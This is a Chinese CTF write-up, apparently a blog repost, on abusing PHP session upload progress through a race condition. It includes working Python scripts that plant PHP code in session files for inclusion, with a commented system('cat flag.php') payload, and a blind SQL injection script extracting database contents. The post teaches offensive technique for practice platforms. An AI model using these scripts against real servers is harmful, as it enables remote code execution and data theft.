PHP Session条件竞争超详细讲解
作者:偶尔躲躲乌云334 发布时间:2023-06-03 12:49:00
PHP SESSION 的存储
Session会话存储方式
PHP将session以文件的形式存储服务器的文件中,session.save_path来控制
默认路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件默认是/var/lib/php/sessions目录下,文件名是sess_加上sessionID字段
但是在赛题中大多数都是/tmp目录下,需要php.ini力sesion.auto_start设置为1,然后修改目录
session.auto_start
:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。
session.upload_progress.cleanup = on
:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启
session.use_strict_mode
:默认情况下,该选项的值是0,此时用户可以自己定义Session ID。
使用 Python 实现创建 Session 文件的过程:
import io
import requests
import threading
sessid = 'whoami'
def POST(session):
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://192.168.43.82/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"123"}, //用来改变session中的值
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid} //用来sesssion中的文件名 sess_whoami
)
with requests.session() as session:
while True:
POST(session)
print("[+] 成功写入sess_whoami")
[WMCTF2020]Make PHP Great Again
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
这道题是文件包含,已经包含过了一次flag.php,就不能二次包含了,一种方法是软连接/proc/self/root绕过
/proc/self指向当前进程的/proc/pid/
/proc/self/root/是指向/的符号链接
这道题也可以 用条件竞争进行,
import io
import sys
import requests
import threading
host = 'http://6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/'
sessid = 'feng'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={
# "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');echo md5('1');?>"},
"PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5('1');?>"},//session存值
files={
"file":('a.txt', f)},
cookies={
'PHPSESSID':sessid}//改名
)
def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')//路径
# print(response.text)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text://1的md5
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))//线程可以套循环 多层线程
t1.daemon = True //相当完成任务直接结束,不用等线程全部结束
t1.start()
READ(session)
线程结束后,想在网页获得php坏境页面可是找不到,
希望有师傅解答一下,然后这样就非常局限,
[PwnThyBytes 2019]Baby_SQL
访问源码,获得source.zip
打开后发现index.php
<?php
session_start();
foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
function filter($value)
{
!is_string($value) AND die("Hacking attempt!");
return addslashes($value);
}
isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');
?>
都要经过最后的过滤,然后通过传参p进行包含templates目录下面的文件
login.php
<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);
function auth($user)
{
$_SESSION['username'] = $user;
return True;
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
?>
发现就login.php里面没有过滤,然后
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
意思为如果不存在session就die输出,前面的为true才执行后面的
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
OR前面是false才执行后面的语句。然后这里的意思前面有个大的括号里有一个满足就会执行$con->close()
,然后这个执行返回true的话就会执行die(“Not allowed!”);
所以如果我们要直接访问login.php进行sql注入的话,还需要带上一个session才行,这里边用上了我们的PHP_SESSION_UPLOAD_PROGRESS
了。我们可以使用PHP_SESSION_UPLOAD_PROGRESS
来在目标服务器上初始化一个session,然后便可以绕过index.php中的检测,直接访问login.php进行sql注入了。
import requests
url = "http://d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php"
//这个templates是因为login.php在这个目录下面
files = {"file": "123456789"}
a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'},
proxies={'http': "http://127.0.0.1:8080"})通过这个接口,burp就可以抓包到
print(a.text)
然后对username进行注入,发现是用"进行闭合,然后回显,可以用盲注实现
<meta http-equiv="refresh" content="0; url=?p=home" />
import requests
import time
url = "http://d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php"
files = {"file": "123456789"}
flag=''
for i in range(1,100):
low = 32
high = 128
mid = (low+high)//2
while (low < high):
time.sleep(0.06)
#payload_flag ={'username': "test\" or (ascii(substr((select
group_concat(username) from ptbctf ),{0},1))>{1}) #".format(i, mid),'password': 'test'}
payload_flag = {
'username': 'test" or (ascii(substr(database(),{0},1))>{1}) #'.format(i,mid),'password': 'test'}
r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
cookies={"PHPSESSID": "test1"})
print(payload_flag)
if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
low = mid +1
else:
high = mid
mid = (low + high) // 2
if(mid==32 ):
break
flag +=chr(mid)
print(flag)
print(flag)
来源:https://blog.csdn.net/qq_62046696/article/details/128269709


猜你喜欢
- 本来是想从网上找找有没有现成的爬取空气质量状况和天气情况的爬虫程序,结果找了一会儿感觉还是自己写一个吧。主要是爬取北京包括北京周边省会城市的
- scrapy.FormRequestlogin.pyclass LoginSpider(scrapy.Spider): name =
- 效果展示效果展示素材展示一个为视频,另一个为像素大小不小于视频的封面。实现过程调用已启用的浏览器通过调用已启用的浏览器,可以实现直接跳过每次
- 如何解决bootStrapValidator bootStrap-select验证不可用,只要三步:思路:把多选下拉框的选中值,赋给一个隐藏
- main.htm: <html>
- Django中请求的生命周期HTTP请求及服务端响应中传输的所有数据都是字符串步骤用户在浏览器中输入url时,浏览器会生成请求头和请求体发给
- 这次让我们一个用 Python 做一个小工具:将动态 GIF 图片倒序播放!GIF(Graphics Interchange Format)
- 一、数据降维机器学习中的维度就是特征的数量,降维即减少特征数量。降维方式有:特征选择、主成分分析。1.特征选择当出现以下情况时,可选择该方式
- 要在自己的网站上添加一个天气预报功能,是一个很普通的需求,实现起来也不是很难。今天来介绍几个简单的方法。使用第三方服务有这样的一种简单的方式
- format是字符串内嵌的一个方法,用于格式化字符串。以大括号{}来标明被替换的字符串。1、基本用法1. 按照{}的顺序依次匹配括号中的值s
- 1.彻底弄懂CSS盒子模式一(DIV布局快速入门) 2.彻底弄懂CSS盒子模式二(导航栏实例) 4.彻底弄懂CSS盒子模式四(绝对定位和相对
- 今天用要django传值给模板, 然后需要用js处理一下.特此记录.用json.dumps()方法将值传给模板.import json re
- 使用APPLY运算符可以为实现查询操作的外部表表达式返回的每个行调用表值函数。 表值函数作为右输入,外部表表达式作为左输入。 通过对右输入求
- 方式一:数据库用的是SQL 2008,数据表中存放的是图片的二进制数据,现在把图片以一种图片格式(如.jpg)导出,然后存放于指定的文件夹中
- Python字符串介绍字符串是一系列字符。在 Python 中,引号内的任何内容都是字符串。您可以使用单引号或双引号。例如:message
- 内连接(inner join)。 外连接: 全连接(full join)、左连接(left join)、右连接(right join)。 交
- 1. 简介在 Go 语言中,new 和 make 是用于创建对象的两个内建函数,它们的使用方式和作用有所不同。正确理解 new 和 make
- 如果你有个5、6 G 大小的文件,想把文件内容读出来做一些处理然后存到另外的文件去,你会使用什么进行处理呢?不用在线等,给几个错误示范:有人
- css实现的圆角矩形的方式很多,但要追求灵活型,上面的结构简单,看起来爽一点注意css所用的图片路径,已修改兼容ie6 ie7 ff ,IE
- 1、下载从官网下载mysql-5.7.19-linux-glibc2.12-x86_64.tar.gz,版本为5.7.19下载地址:http